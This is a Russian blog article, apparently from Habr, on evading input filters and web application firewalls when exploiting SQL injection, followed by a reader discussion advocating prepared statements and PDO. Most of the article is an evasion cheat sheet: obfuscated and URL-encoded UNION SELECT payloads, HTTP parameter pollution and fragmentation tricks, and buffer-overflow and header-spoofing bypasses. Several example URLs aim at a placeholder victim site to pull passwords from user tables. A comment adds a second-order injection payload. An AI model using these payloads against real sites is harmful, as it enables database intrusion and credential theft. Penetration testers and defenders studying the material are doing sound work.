При разработке современных веб-приложений необходимо использовать защитные средства. Тем не менее, стоит понимать, как они работают, эффективно их применять и осознавать, что они не являются панацеей от хакерских атак. В статье будут рассмотрены способы обхода средств фильтрации и защиты веб-приложений при эксплуатации sql-инъекций.
Прежде чем приступить к рассмотрению вариантов обхода, давайте определимся с тем, что сегодня из себя представляют защитные средства — как нативные, так и "надстроенные".
Защита
Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:
- mysql_escape_string — экранирует строку для использования в mysql_query;
- addslashes — экранирует спецсимволы в строке;
- htmlspecialchars — преобразует специальные символы в HTML сущности;
- mysql_real_escape_string — экранирует специальные символы в unescaped_string;
- intval — функция приведения типа.
Большинство этих функций направлено на то, чтобы провести преобразование "опасных" символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.
В "надстроенных" средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.
Обход защитных средств
Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.
Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml. Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.
Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.
Для обхода используются следующие техники:
Инъекция нульбайта: использование %00 до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.
Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем
<script>
в
<sCrIPt>
Встроенные комментарии: использование комментария в атакующем запросе. Например,
/ *! SELECT * /
может быть пропущен защитным средством, но обработан в целевом веб-приложении.
Раздробленные запросы (chunked): использование кодированных HTTP-запросов для разделения вредоносного пейлоада на несколько HTTP-запросов.
Переполнение буфера: если мы сможем сформировать запрос, который вызовет переполнение буфера защитного механизма, мы можем обойти защитные средства (как в случае успешной эксплуатации самой уязвимости защиты, так и без эксплуатации в случае падения приложения).
HTTP Parameter Pollution: параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Первый запрос может быть обработан защитным средством, но на стороне веб-приложения выполнится второй. Для разделения используются &, ; и.т.д.
URL encoding (hex): использование 16-ричного представления символов, например таких как %27 символа кавычки. Это само по себе может быть недостаточным для многих современных средств защиты, но может быть использовано в сочетании в другими методами обхода. Могут встречаться и другие функции преобразования, например функция reverse:
reverse(‘>tpircs/<)niamod.tnemucod(trela>tpircs<‘)
Разделение ключевых слов: здесть можно использовать особенности средств защиты для внедрения пейлоада — добавляем спецсимволы и т.д. в качестве разделителя, они вырезаются защитными средствами и на выходе мы получаем обработанный, но целый пейлоад:
SEL <ECT
будет обработан и из него будет вырезана угловая скобка, на выходе получим
SELECT
Дублирование ключевых слов: этот метод похож на предыдущий — мы добавляем стоп-слово к запросу, чтобы обмануть механизм защиты:
SELECTSELECT
будет обработан и из него будет вырезан первый SELECT, на выходе получим
SELECT
Сброс сессионной куки: для того чтобы не попасть под фильтрацию частых нелигитимных запросов необходимо сбрасывать сессию у каждого запроса.
IP репутация: как и в предыдущем примере, при частых запросах с одного IP — могут быть заблокированы и все остальные с этого адреса. Использования множества адресов для атаки может помочь обойти это ограничение.
Header injection: иногда можно дать понять приложению что запрос пришел из доверенной сети. При отсутствии должных проверок можно подставить доверенно адрес, например 127.0.0.1 в следующие поля:
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
Популярные методы обхода защиты от sql-инъекций
Существует два вида инъекций — в строковом или числовом параметре:
Строковый
Example: SELECT * from table where example = 'Example'
Числовой
Example: SELECT * from table where id = 123
Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.
Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:
example.site/index.php?id=-1 UNION SELECT password FROM users
Обход нормализации:
/? Id = 1 + union + select + 1,2,3 / *
такой запрос будет заблокирован, поэтому сформируем обфусцированный запрос:
/?id=1/*union*/union/*select*/select+1,2,3/*
который после нормализации защитными средствами:
?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
"соберется" в необходимый пейлоад:
/? Id = 1 + union + select + 1,2,3 / *
Аналогичный пример запроса:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
также "соберется" в необходимый пейлоад:
/? Id = 1 + union + select + 1,2,3 / *
Можно использовать расщепление запроса (HTTP Parameter Pollution):
уязвимый код:
SQL=" select key from table where id= "+Request.QueryString("id")
расщепляем запрос:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
преобразуется в:
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
Также можно использовать фрагментацию запроса (HTTP Parameter Fragmentation):
уязвимый код:
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
фрагментируем:
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
получаем запрос:
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
Используем логические операторы:
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Вместо знака равенства можно использовать знаки отрицания и неравенства (! =, <>, <,>) .
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
Естественно что можно комбинировать различные методы для достижения результата по обходу. Пример различных запросов по одному значению:
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
Такие атаки могут успешно проходить при наличии следующих условий:
- Уязвимости в функциях нормализации запроса.
- Применение технологий HPP и HPF.
- Обход правил фильтрации (сигнатуры).
- Уязвимости логики работы приложения (и / или).
Примеры сигнатурного обхода
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
concat(0x223e,@@version,0x3c696d67207372633d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62?723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
Примеры url-encoded при проведении union select запросов
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
Примеры смешанного содержимого запросов
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
Примеры замены сигнатур
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
Переполнение буфера
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(тут добавляем более 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
HEX/url encoding
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
Очистка «странных» символов или функций
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
Заключение
Придерживаться правила: all input is evil until proven otherwise.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Использовать комплексные средства защиты веб-приложений от хакерских атак.
В следующей статье я расскажу о методах обхода защитных средств веб-приложений при эксплуатации xss-векторов.
Комментарии (58)
nikitasius
13.04.2017 14:01Собсна ничего не мешает проверять входные данные в регулярке вида
^(тут_условие)$
, или использовать менее параноинальный вариант, но использовать группу.
Или прописать пару правил для args и location в nginx, или просто собрать последный с naxsi и снова поколдовать.LukaSafonov
13.04.2017 15:16+3Ничего не мешает, но A1 — SQL injection возглавляет список OWASP который год подряд.
CWN
13.04.2017 14:04+2SQL инъекции как класс лечатся связыванием переменных.
Плюсом идет ускорение работы с БД.
https://www.google.ru/search?q=sql+bind+variable
Если уж про PHP, то:
http://php.net/manual/ru/mysqli.prepare.php
http://php.net/manual/ru/function.pg-prepare.php
http://php.net/manual/ru/function.oci-parse.php
и т.д. для остальных баз.LukaSafonov
13.04.2017 15:18+2
amakhrov
16.04.2017 08:38Ускорение работы с БД получается только при отправке нескольких запросов с одной структурой, но разными параметрами.
Если же запросы все разные, то работа с БД замедляется: вместо одного запроса к БД нужно сделать два (prepare + execute).
tixit
18.04.2017 12:12Суть prepared statement в том, что приложение еще на этапе инициализации приложения перекачивает все свои шаблоны sql-запросов на сервер базы данных. Если какая-то часть запросов формируется динамически, и они кажутся на первый взгляд разными, то все равно их можно повторно использовать, следовательно к ним уже не надо применять повторные prepare. т.е. по-любому будет ускорение. Надо просто сохранить все дескрипторы этих «разных» sql запросов для повторного использования просто поместив их в общий пул.
mayorovp
18.04.2017 12:35Суть в том, что некоторые языки созданы, чтобы умирать. И даже хотя у этих языков есть режимы, в которых они не умирают — основной режим все же подразумевает смерть после каждого запроса. И потому у пишущих на таких языках нет никакого общего пула для запросов, который можно было бы подготовить на этапе инициализации приложения. Даже пула соединений — и того нет.
Вот и пытаются экономить на числе prepare-запросов...
tixit
18.04.2017 13:44-1То что процесс обработавший запрос должен умиреть — это просто исторически сложившаяся практика. Умирают процессы именно тех или иных движков, CMS, framework. А процессы на других движках этих же языков программирования могут жить годами и ничего с ними не происходит. Просто многие движки родились до появляения технологии prepared statement. И просто так их теперь не переделать. Это совершенно иная концепция. Но если с нуля писать проект можно практически на любом языке полноценно использовать весь стек технологии prepared statement. Было бы желание и умение. И не важно это java, php, perl или еще что-то.
Врочем, если какой-то язык программирования технически не поддерживает prepared statement, то вероятно это именно случай когда умирает сам язык программирования, а не его процессы.mayorovp
18.04.2017 19:12Вы так пишите, как будто prepared statement является единственным, что отделяет "умирающие" варианты php от "неумирающих". На самом же деле это — последнее в списке различий.
DjOnline
19.04.2017 12:57На php все эти prepared запросы умирают. Они будут жить, только если использовать демоны вида phpDaemon, reactphp, prefork.
youlose
19.04.2017 15:34mysql их может кешировать и польза всё равно будет
DjOnline
19.04.2017 17:47+1Не может. Нет там никакой пользы, только замедление и лишние накладные расходы в парадигме die always. Query Cache это другое, он работает независимо от того используются ли Prepared statements или нет.
youlose
19.04.2017 18:06The server maintains caches for prepared statements and stored programs on a per-session basis. Statements cached for one session are not accessible to other sessions. When a session ends, the server discards any statements cached for it.
То есть от кучи запросов от ORM вида:
SELECT * FROM sometable WHERE id = ?
Будет повторное использование и может быть даже польза =)
В целом согласен с вашим утверждением.DjOnline
20.04.2017 01:10+1За такое — select в цикле — по рукам надо бить в продакшене, максимум можно в каких-нибудь небольших вспомогательных утилитах делать. Запросы такого вида должны выглядеть либо как Ic IN (?,?,?), либо как JOIN, либо как subselect в новых версиях mysql, где они не уступают по скорости JOIN.
redfs
13.04.2017 14:33Тщательно проверять входящие данные.
Использовать плейсхолдеры, про которые в статье почему-то не написано.
ionicman
13.04.2017 15:29А можно тупой вопрос к знатокам? :)
Если собираются данные в SQL вопрос типа такого:
'SELECT * from `table` where `id`="' + Экранирование( param ) + '"'
Где Экранирование заменяет
\, \0, \n, \r, ', ", \x1a
на соответствующее со слэшем
\\, \\0, \\n, \\r, \\', \\", \\Z
Возможна ли инъекция?
И если да — то каким образом?
Заранее благодарю за ответ.mayorovp
14.04.2017 08:07Ну зачем, зачем так делать в двадцать первом веке? Чем вам параметризованные запросы не угодили?
ionicman
16.04.2017 12:57Что такое параметризованные запросы я в курсе.
А не затруднит все-таки ответить на вопрос?
Мне интересны именно способы атаки на такой вектор защиты — вот и все, ну и, судя по ответам, атаку не возможно провести :)mayorovp
16.04.2017 13:26Для начала, уточните с какой СУБД работаете.
ionicman
16.04.2017 15:52Пусть будет MariaDB или MySQL
mayorovp
19.04.2017 12:22Для MariaDB/MySQL ваша функция эквивалентна mysql_real_escape_string, о чем вам уже написали ниже пока я забывал этот сделать :), поэтому напрямую SQL-инъекцию тут не засунуть.
И "уязвимость" такого подхода тоже общая с mysql_real_escape_string — очень просто забыть вызвать эту функцию. Более того: нет способа автоматически узнать, не забыл ли ваш коллега вызвать функцию экранирования. Но при должной аккуратности такой способ вполне пригоден для использования.
ionicman
18.04.2017 16:47-1И вот так каждый раз — я этот вопрос задавал много-много раз — и так никто мне ответить на него и не смог :)
redfs
18.04.2017 21:17А ваш вопрос некорректен на самом деле. Опишите функцию «Экранирование (param)». В вашем вопросе это некая абстракция, которую сложно оценить. Или приведите ее исходник. А то (если честно), даже не хочется время терять на гадание.
Допустим, по вашей постановке задачи я решу, что ваша функция «Экранирование», это что-то типа
preg_replace("/'/", "\\'", $param);
а $param — это $_GET['id'].
Подходит мое предположение под описание в вашей задаче? Подходит.
Так это на самом деле? Не уверен.
Вот и не отвечает вам никто. В вопросе конкретики не хватает, а ванговать не все умеют.ionicman
18.04.2017 21:52даже не хочется время терять на гадание
Странно, а зачем гадать, если можно просто уточнить? Ведь это совсем не сложно и при этом очень часто бывает так, что то, что одному очевидно, другому совсем непонятно.
И это вполне нормально :)
Без проблем, если на PHP, то пусть будет так (regexp использовать избыточно):
function screen( $s ) { return str_replace( array( '\\', "\0", "\n", "\r", "'", '"', "\x1a" ), array( '\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z' ), $s ) ; }
Естественно, считаем что кодировки все настроены правильно.
Аргумент — пусть будет что-то из $_REQUEST / $_GET / $_POST.
Ну и заранее благодарю за ответ и за время, потраченное на мой коммент.redfs
19.04.2017 12:02Ok, спасибо, теперь понятно. Навскиду с учетом того, что в sql запросе подставляемое значение вы обернули в одинарные кавычки мне кажется что sql-иньекция в данном случае проблематична.
ionicman
22.04.2017 09:24Спасибо за ответ.
На самом деле первоначально в PHP плейсходеры делались внутри драйвера именно через функцию, и как правильно здесь заметили — это исходник mysql_real_escape_string.
И мне тоже не видится абсолютно никакого способа сделать здесь инъекцию — но всегда было интересно — может быть это просто я не вижу :)
andreymal
19.04.2017 12:19Поглядел исходники mysql_real_escape_string — она ровно тем же самым и занимается)
symbix
13.04.2017 15:33+4Не надо ничего "проверять". Надо правильно работать с базой данных: использовать prepared statements, а где это не подходит — правильно форматировать SQL-запрос с учетом синтаксиса SQL.
Если бы хабр "проверял", вы бы не смогли запостить эту статью.
tehSLy
13.04.2017 15:41Мне кажется — из нативных тут в первую очередь плейсхолдеры, приведение типов,
здравый смыслграмотный алгоритм обработки запросов. При чем тут хтмл, (в статье то про sql инъекци) слегка неясно. Да и хтмл — он и в Африке хтмл, тот кто парсит его регекспами такие статьи не читает.
Loki3000
13.04.2017 16:15+1После прочтения мне даже стало интересно посмотреть на эти «системы безопасности», которые подобным образом обходятся с входными данными. Это же натуральное вредительство — кто ими пользуется?
symbix
13.04.2017 16:48+4В основном в банках, процессингах и так далее. Там такой агрессивный черный список не помешает (с реальными данными не пересечется), а от уязвимости в очередном апдейте софта от вендора, который решил сэкономить и нанял индусов на апворке, может спасти.
Вроде бы web application firewall даже обязателен по PCI-DSS, но тут не эксперт, могу и ошибаться.
zenkz
13.04.2017 16:24Защита от SQL-инъекций очень простая — используйте запросы с параметрами! Не составляйте запросы путём сложения строк! А ещё лучше используйте ORM.
artemir
13.04.2017 17:50Пришла идея в голову
Использовать белый список при работе с символьной обработкой
И черный список слов, состоящих из белых символов
Т.е., допустим, можно передавать только буквы латинского алфавита. И в черный список добавить все зарегистрированные слова(SELECT и т.д.)andreymal
13.04.2017 17:57Во-первых, у такой защиты будет очень ограниченная область применения, так как она даже ваш же комментарий не пропустит. Во-вторых, все слова в чёрный список не подобавляешь, а даже если и подобавляешь, то в какой-нибудь новой версии MySQL появятся ещё слова, которые все забудут добавить. В-третьих, ну блин есть экранирование, PDO, prepared statements, нечего велосипеды городить
artemir
13.04.2017 18:31PDO да, согласен, но такая защита нужна не только для баз.
P.S: Если экранировать все, что не в белом списке? Так и данные передаются и запросы не будут выполненыandreymal
13.04.2017 18:40+1Зачем всё то что не в белом списке, достаточно просто экранировать вообще всё) Неважно, для баз или чего-то ещё
samizdam
13.04.2017 21:08+1Всё содержимое статьи следует заменить тремя буквами: PDO.
Заголовок можно оставить.
В каком году PDO появился, 2004-2005? Вот настолько лет рассуждения автора отстали от жизни.
Ладно, пусть не PHP, хотя автор выбрал для примеров его, пусть другой язык. Но и там слой абстракции работы с бд будет уметь биндинг данных, чтобы не городить этих велосипедов.
Такая некомпетентность в корп. блоге. Хабр… Рука-лицо…LukaSafonov
14.04.2017 07:49Если вы используете PDO — это прекрасно. Обратите внимание — статья не о методах защиты, а о методах ее обхода. Существует защита от инъекций — это и PDO и другие методы, указанные в комментариях. Можно вообще не использовать БД — вообще самый радикальный метод =) К сожалению не все придерживаются такого мнения, поэтому SQL-инъекции все еще так распространены/
PashaPash
14.04.2017 13:03+1Неважно о чем сама статья. В конце статьи есть заключение. В нем написано «Тщательно проверять входящие данные». Совершенно дикий совет. Будь там написано «используйте параметризированный SQL» — статья была бы хорошей. Правда, очень короткой, и ссылку на WAF в нее не получичилось бы вставить :)
А так — это не современная статья по защите от инъекций, а просто набор хитрых способов обхода «защитных костылей».LukaSafonov
14.04.2017 19:38Статья так и называется: методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций.
PashaPash
14.04.2017 21:26+1Ну так и я о том же. Стандартная защита от SQL-инъекций — параметризированные запросы (через PDO в случае с PHP). В статье об обходе параметризации — ни слова. Все остальное — это не защитные средства, а «защитные средства». А в названии статьи у вас кавычек почему-то нет.
bjatta
13.04.2017 22:07-2Почти «поваренная книга хакера» вышла, ведь, к сожалению, нынешние молодые хакеры зачастую ищут не «как взломать конкретный сайт/базу», а ищут сайт/базу которые им удастся взломать подсмотренным где-либо способом.
Ну и способ сразу заносится в копилку.
Равно как и сайт.
AslanKurbanov
14.04.2017 10:59При переборе запросов неизбежны ошибки mySQL, если при возникновении ошибки командой mail() слать админу оповещение с текстом, это предупредит что сайт под атакой. Да и вообще интересно посмотреть будет сам запрос.
tixit
18.04.2017 13:03-1Периодически курирую всякие проекты от мелких до сперкрупных на тему: «Чтобы в базе данных все летало и чтобы нас не сломали sql-инъекциями». 90% проектов, которые я курировал уже после их разработки использовали все что только можно придумать кроме использования банальных prepared statement. Или вообще никак не фильтровали входящие данные и даже не пользовались функцией экранирования. Как всегда на фразу: парни переходим на использование prepared statement начинаются споры разрабов: «Никто так не делает. Первый раз про это слышу. У меня в багаже туева хуча проектов но никто не требовал использовать prepared statement.»
А уж услышав что есть возможность еще на этапе инициализации приложения перекачать все sql-запросы на сервер базы данных, проверить их там на ошибки и т.п., вообще у многих срывает крышу, так как для многих это вообще не вписывается в их картину мира.
Но самое интересное становится когда приложение, наконец, научится работать с prepared statement. Во время запуска начинает иной раз десятки секунд (если запросов десятки тысяч) перекачивать свои sql-запросы на сервер базы данных. И ты ошалевшим разрабам объясняешь, что этим мы перенесли значительную нагрузку с онлайн-режима работы приложения в офлайн. Из кода приложения можно убрать кучу обработчиков исключений по синтаксическим ошибкам в SQLзапросам. Что тоже снижает нагрузку.
После запуска обновления владельцам проекта говоришь, что вместо 10 выделенных серверов теперь можно оставить 3. Они теперь справляются с нагрузкой.
Но самое приятное получать зарплату 3-6 месяцев просто объясняя разрабам что такое prepared statement и рассказывая о всех плюшках.mayorovp
18.04.2017 19:10Десять секунд запуск на сервере? Отлично, вы замечательно замедлили процесс отладки! Впрочем, до чудес шарика (10 минут на запуск) вам еще далеко, надо больше стараться.
mayorovp
18.04.2017 19:13Кстати, а как ваши подготовленные запросы дружат с пулом соединений к серверу?
NeuroZ
19.04.2017 12:39А можете пояснить как используется строка
/? Id = 1 + union + select + 1,2,3 / *
Насколько я понял — это строка является целевой для исполнения. Но исполнения кем/чем?
Просто я не понимаю целевого значения /? и /* в конце строки… как это работает?
andreymal
От всего перечисленного спасёт банальнейший PDO. Он сам всё проверит и экранирует как надо.
А от XSS спасёт банальнейшее принудительное экранирование всех выводимых переменных, которое есть в любом нормальном шаблонизаторе. Ну и jevix и аналоги, если html всё-таки нужен.
LukaSafonov
Prepared statements / parameterized queries are generally sufficient to prevent 1st order injection on that statement*. If you use un-checked dynamic sql anywhere else in your application you are still vulnerable to 2nd order injection.
2nd order injection means data has been cycled through the database once before being included in a query, and is much harder to pull off. AFAIK, you almost never see real 2nd order attacks, as it is usually easier for attackers to social-engineer their way in.
You can accomplish a 2nd order injection attack when you can cause a value to be stored in a database that is later used as a literal in a query. As an example, let's say you enter the following information as your new username when creating an account on a web site (assuming MySQL DB for this question):
' + (SELECT UserName + '_' + Password FROM Users LIMIT 1) + '
andreymal
А теперь по-русски и с полным примером вместо непонятного огрызка, пожалуйста
andreymal
Так и думал, что меня заминусуют, но я так ничего и не понял. Кто будет в здравом уме писать такой запрос, который приведён в этом огрызке? Злоумышленник его написать не сможет, потому что PDO всё заэкранирует, а программисту такое писать зачем?
NoRegrets
Собирать SQL со строками полученными откуда угодно, из базы, от пользователя, по сети и т.д. — ССЗБ! Делайте это сколько хотите, только параметры оставьте параметрами и все дела.